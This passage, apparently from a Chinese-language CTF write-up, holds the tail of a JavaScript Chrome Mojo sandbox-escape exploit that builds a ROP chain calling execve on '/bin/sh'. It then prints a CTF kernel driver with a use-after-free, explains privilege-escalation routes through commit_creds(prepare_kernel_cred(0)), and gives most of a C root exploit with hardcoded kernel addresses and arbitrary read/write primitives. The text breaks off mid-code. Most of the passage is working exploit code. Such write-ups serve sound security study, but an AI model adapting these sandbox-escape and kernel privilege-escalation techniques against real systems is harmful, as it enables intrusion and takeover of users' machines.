class="token number">8n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">// args</span>        <span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>arb<span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">,</span> chrome_base <span class="token operator">+</span> <span class="token number">0x3655332n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// pop rdx</span>    <span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>arb<span class="token punctuation">,</span> <span class="token number">11</span><span class="token punctuation">,</span> rop_base <span class="token operator">+</span> <span class="token number">13n</span> <span class="token operator">*</span> <span class="token number">8n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>       <span class="token comment">// env</span>    <span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>arb<span class="token punctuation">,</span> <span class="token number">12</span><span class="token punctuation">,</span> execve_plt<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">// env</span>    <span class="token comment">// await ctfWrite(arb, 13, rop_base + 14n * 8n);       // addrOf"/bin/sh"</span>    <span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>arb<span class="token punctuation">,</span> <span class="token number">13</span><span class="token punctuation">,</span> <span class="token number">0n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                        <span class="token comment">// NULL</span>    <span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>arb<span class="token punctuation">,</span> <span class="token number">14</span><span class="token punctuation">,</span> <span class="token number">0x68732f6e69622fn</span><span class="token punctuation">)</span><span class="token punctuation">;</span>         <span class="token comment">// "/bin/sh"</span>    <span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>arb<span class="token punctuation">,</span> <span class="token number">15</span><span class="token punctuation">,</span> <span class="token number">0n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                        <span class="token comment">// NULL</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'change vtable ...'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>ctf<span class="token punctuation">,</span> vtable_offset<span class="token punctuation">,</span> fake_vtable<span class="token punctuation">)</span><span class="token punctuation">;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'pwn!'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">await</span> <span class="token function">ctfResize</span><span class="token punctuation">(</span>arb<span class="token punctuation">,</span> <span class="token number">0x2333</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">pwn</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">try</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">typeof</span><span class="token punctuation">(</span>Mojo<span class="token punctuation">)</span> <span class="token operator">===</span> <span class="token string">'undefined'</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"enabling mojo ..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token function">enable_mojo</span><span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>            console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"sandbox escape ..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">await</span> <span class="token function">sandbox_escape</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>e<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>e<span class="token punctuation">.</span>stack<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token function">pwn</span><span class="token punctuation">(</span><span class="token punctuation">)</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><img src="/images/68622871/13.png" alt="pwn"></p><p><strong>注意：</strong> script 引入的 mojo 目录实际上是题目的 mojo_bindings 目录<br><img src="/images/68622871/12.png" alt="mojo_bindings"></p><h3 id="简单的-kernel-pwn"><a href="#简单的-kernel-pwn" class="headerlink" title="简单的 kernel pwn"></a>简单的 kernel pwn</h3><p>逃逸拿到 shell 后就是 kernel pwn 提权了，题目直接就给了驱动的源码：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token keyword">struct</span> <span class="token class-name">ctf_data</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">char</span> <span class="token operator">*</span>mem<span class="token punctuation">;</span>  <span class="token class-name">size_t</span> size<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">static</span> <span class="token keyword">struct</span> <span class="token class-name">cdev</span> ctf_cdev<span class="token punctuation">;</span><span class="token keyword">static</span> <span class="token keyword">const</span> <span class="token keyword">struct</span> <span class="token class-name">file_operations</span> ctf_fops <span class="token operator">=</span> <span class="token punctuation">&#123;</span>  <span class="token punctuation">.</span>owner <span class="token operator">=</span> THIS_MODULE<span class="token punctuation">,</span>  <span class="token punctuation">.</span>open <span class="token operator">=</span> ctf_open<span class="token punctuation">,</span>  <span class="token punctuation">.</span>release <span class="token operator">=</span> ctf_release<span class="token punctuation">,</span>  <span class="token punctuation">.</span>read <span class="token operator">=</span> ctf_read<span class="token punctuation">,</span>  <span class="token punctuation">.</span>write <span class="token operator">=</span> ctf_write<span class="token punctuation">,</span>  <span class="token punctuation">.</span>unlocked_ioctl <span class="token operator">=</span> ctf_ioctl<span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">static</span> <span class="token class-name">ssize_t</span> <span class="token function">ctf_read</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">file</span> <span class="token operator">*</span>f<span class="token punctuation">,</span> <span class="token keyword">char</span> __user <span class="token operator">*</span>data<span class="token punctuation">,</span> <span class="token class-name">size_t</span> size<span class="token punctuation">,</span> <span class="token class-name">loff_t</span> <span class="token operator">*</span>off<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">struct</span> <span class="token class-name">ctf_data</span> <span class="token operator">*</span>ctf_data <span class="token operator">=</span> f<span class="token operator">-></span>private_data<span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>size <span class="token operator">></span> ctf_data<span class="token operator">-></span>size<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token operator">-</span>EINVAL<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">copy_to_user</span><span class="token punctuation">(</span>data<span class="token punctuation">,</span> ctf_data<span class="token operator">-></span>mem<span class="token punctuation">,</span> size<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token operator">-</span>EFAULT<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> size<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">static</span> <span class="token class-name">ssize_t</span> <span class="token function">ctf_write</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">file</span> <span class="token operator">*</span>f<span class="token punctuation">,</span> <span class="token keyword">const</span> <span class="token keyword">char</span> __user <span class="token operator">*</span>data<span class="token punctuation">,</span> <span class="token class-name">size_t</span> size<span class="token punctuation">,</span> <span class="token class-name">loff_t</span> <span class="token operator">*</span>off<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">struct</span> <span class="token class-name">ctf_data</span> <span class="token operator">*</span>ctf_data <span class="token operator">=</span> f<span class="token operator">-></span>private_data<span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>size <span class="token operator">></span> ctf_data<span class="token operator">-></span>size<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token operator">-</span>EINVAL<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">copy_from_user</span><span class="token punctuation">(</span>ctf_data<span class="token operator">-></span>mem<span class="token punctuation">,</span> data<span class="token punctuation">,</span> size<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token operator">-</span>EFAULT<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> size<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">static</span> <span class="token class-name">ssize_t</span> <span class="token function">ctf_ioctl</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">file</span> <span class="token operator">*</span>f<span class="token punctuation">,</span> <span class="token keyword">unsigned</span> <span class="token keyword">int</span> cmd<span class="token punctuation">,</span> <span class="token keyword">unsigned</span> <span class="token keyword">long</span> arg<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">struct</span> <span class="token class-name">ctf_data</span> <span class="token operator">*</span>data <span class="token operator">=</span> f<span class="token operator">-></span>private_data<span class="token punctuation">;</span>  <span class="token keyword">char</span> <span class="token operator">*</span>mem<span class="token punctuation">;</span>  <span class="token keyword">switch</span><span class="token punctuation">(</span>cmd<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">case</span> <span class="token number">1337</span><span class="token operator">:</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>arg <span class="token operator">></span> <span class="token number">2000</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">return</span> <span class="token operator">-</span>EINVAL<span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    mem <span class="token operator">=</span> <span class="token function">kmalloc</span><span class="token punctuation">(</span>arg<span class="token punctuation">,</span> GFP_KERNEL<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>mem <span class="token operator">==</span> <span class="token constant">NULL</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">return</span> <span class="token operator">-</span>ENOMEM<span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    data<span class="token operator">-></span>mem <span class="token operator">=</span> mem<span class="token punctuation">;</span>    data<span class="token operator">-></span>size <span class="token operator">=</span> arg<span class="token punctuation">;</span>    <span class="token keyword">break</span><span class="token punctuation">;</span>  <span class="token keyword">case</span> <span class="token number">1338</span><span class="token operator">:</span>    <span class="token function">kfree</span><span class="token punctuation">(</span>data<span class="token operator">-></span>mem<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">break</span><span class="token punctuation">;</span>  <span class="token keyword">default</span><span class="token operator">:</span>    <span class="token keyword">return</span> <span class="token operator">-</span>ENOTTY<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">static</span> <span class="token keyword">int</span> <span class="token function">ctf_open</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">inode</span> <span class="token operator">*</span>inode<span class="token punctuation">,</span> <span class="token keyword">struct</span> <span class="token class-name">file</span> <span class="token operator">*</span>f<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">struct</span> <span class="token class-name">ctf_data</span> <span class="token operator">*</span>data <span class="token operator">=</span> <span class="token function">kzalloc</span><span class="token punctuation">(</span><span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">ctf_data</span><span class="token punctuation">)</span><span class="token punctuation">,</span> GFP_KERNEL<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>data <span class="token operator">==</span> <span class="token constant">NULL</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token operator">-</span>ENOMEM<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  f<span class="token operator">-></span>private_data <span class="token operator">=</span> data<span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">static</span> <span class="token keyword">int</span> <span class="token function">ctf_release</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">inode</span> <span class="token operator">*</span>inode<span class="token punctuation">,</span> <span class="token keyword">struct</span> <span class="token class-name">file</span> <span class="token operator">*</span>f<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token function">kfree</span><span class="token punctuation">(</span>f<span class="token operator">-></span>private_data<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>漏洞很简单，free 后指针未置为 NULL，可以 UAF</p><p>比较简单的方式是，UAF 修改 cred 结构体，但是题目的内核使用了一种 cred_jar 的安全机制，cred 的分配独立于普通的 malloc，所以无法使用这种方式</p><p>那么还可以利用 tty_struct 来劫持程序控制流执行 <code>commit_creds(prepare_kernel_cred(0))</code></p><p>也可以修改 file 结构体的 f_ops 指针来劫持程序控制流，并且 f_ops 调用时，rdi 寄存器指向的就是 file 结构体，可以利用 <code>set_memory_x(addr)</code> 来将 file 结构体的内存设置为可执行，随后布置 shellcode 执行 <code>commit_creds(prepare_kernel_cred(0))</code> 得到 root 权限</p><p>这部分比较简单，就直接放出 exp 了，相信结合注释很容易就看懂了：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;sys/ioctl.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;unistd.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;sys/types.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;sys/stat.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;fcntl.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdint.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">KERNCALL</span> <span class="token expression"><span class="token keyword">__attribute__</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token function">regparm</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">PREPARE_KERNEL_CRED</span> <span class="token expression"><span class="token number">0xffffffff8108c2f0</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">COMMIT_CREDS</span> <span class="token expression"><span class="token number">0xffffffff8108c0c0</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">SET_MEMORY_X</span> <span class="token expression"><span class="token number">0xffffffff8105b0d0</span></span></span><span class="token keyword">struct</span> <span class="token class-name">ctf_data</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">char</span> <span class="token operator">*</span>mem<span class="token punctuation">;</span>  <span class="token class-name">size_t</span> size<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">MEM_SCAN_SIZE</span> <span class="token expression"><span class="token number">0x10000000</span></span></span><span class="token class-name">uint64_t</span> buffer<span class="token punctuation">[</span>MEM_SCAN_SIZE <span class="token operator">/</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">int</span> fd<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">struct</span> <span class="token class-name">ctf_data</span> ctf<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">void</span><span class="token operator">*</span> <span class="token punctuation">(</span><span class="token operator">*</span>prepare_kernel_cred<span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token keyword">void</span><span class="token operator">*</span><span class="token punctuation">)</span> KERNCALL <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">void</span><span class="token operator">*</span><span class="token punctuation">)</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">void</span> <span class="token punctuation">(</span><span class="token operator">*</span>commit_creds<span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token keyword">void</span><span class="token operator">*</span><span class="token punctuation">)</span> KERNCALL <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">void</span><span class="token operator">*</span><span class="token punctuation">)</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">void</span> <span class="token function">shell</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>   <span class="token function">system</span><span class="token punctuation">(</span><span class="token string">"/bin/sh"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token function">exit</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token class-name">ssize_t</span> <span class="token function">alloc</span><span class="token punctuation">(</span><span class="token keyword">int</span> fd<span class="token punctuation">,</span> <span class="token class-name">size_t</span> size<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token function">ioctl</span><span class="token punctuation">(</span>fd<span class="token punctuation">,</span> <span class="token number">1337</span><span class="token punctuation">,</span> size<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token class-name">ssize_t</span> <span class="token function">delete</span><span class="token punctuation">(</span><span class="token keyword">int</span> fd<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token function">ioctl</span><span class="token punctuation">(</span>fd<span class="token punctuation">,</span> <span class="token number">1338</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">arb_read</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span> addr<span class="token punctuation">,</span> <span class="token keyword">void</span> <span class="token operator">*</span>buf<span class="token punctuation">,</span> <span class="token class-name">uint64_t</span> size<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    ctf<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>mem <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">char</span> <span class="token operator">*</span><span class="token punctuation">)</span>addr<span class="token punctuation">;</span>    ctf<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>size <span class="token operator">=</span> size<span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">write</span><span class="token punctuation">(</span>fd<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>ctf<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">ctf_data</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">return</span> <span class="token function">read</span><span class="token punctuation">(</span>fd<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> buf<span class="token punctuation">,</span> size<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">arb_write</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span> addr<span class="token punctuation">,</span> <span class="token keyword">void</span> <span class="token operator">*</span>buf<span class="token punctuation">,</span> <span class="token class-name">uint64_t</span> size<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    ctf<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>mem <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">char</span> <span class="token operator">*</span><span class="token punctuation">)</span>addr<span class="token punctuation">;</span>    ctf<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>size <span class="token operator">=</span> size<span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">write</span><span class="token punctuation">(</span>fd<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>ctf<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">ctf_data</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">return</span> <span class="token function">write</span><span class="token punctuation">(</span>fd<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> buf<span class="token punctuation">,</span> size<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token keyword">int</span> argc<span class="token punctuation">,</span> <span class="token keyword">char</span> <span class="token keyword">const</span> <span class="token operator">*</span>argv<span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"setup uaf...\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>fd<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">open</span><span class="token punctuation">(</span><span class="token string">"/dev/ctf"</span><span class="token punctuation">,</span> O_RDWR<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>    <span class="token function">alloc</span><span class="token punctuation">(</span>fd<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">ctf_data</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>     <span class="token function">delete</span><span class="token punctuation">(</span>fd<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>fd<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">open</span><span class="token punctuation">(</span><span class="token string">"/dev/ctf"</span><span class="token punctuation">,</span> O_RDWR<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">2</span><span class="token punctuation">;</span>    <span class="token function">alloc</span><span class="token punctuation">(</span>fd<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">ctf_data</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>     <span class="token function">delete</span><span class="token punctuation">(</span>fd<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>fd<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">open</span><span class="token punctuation">(</span><span class="token string">"/dev/ctf"</span><span class="token punctuation">,</span> O_RDWR<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">3</span><span class="token punctuation">;</span>    <span class="token function">alloc</span><span class="token punctuation">(</span>fd<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token number">2000</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">// ctf[0] -> fd[1]'s ctf_data</span>    <span class="token function">read</span><span class="token punctuation">(</span>fd<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>ctf<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">ctf_data</span><span class="token punctuation">)</span><span class="token 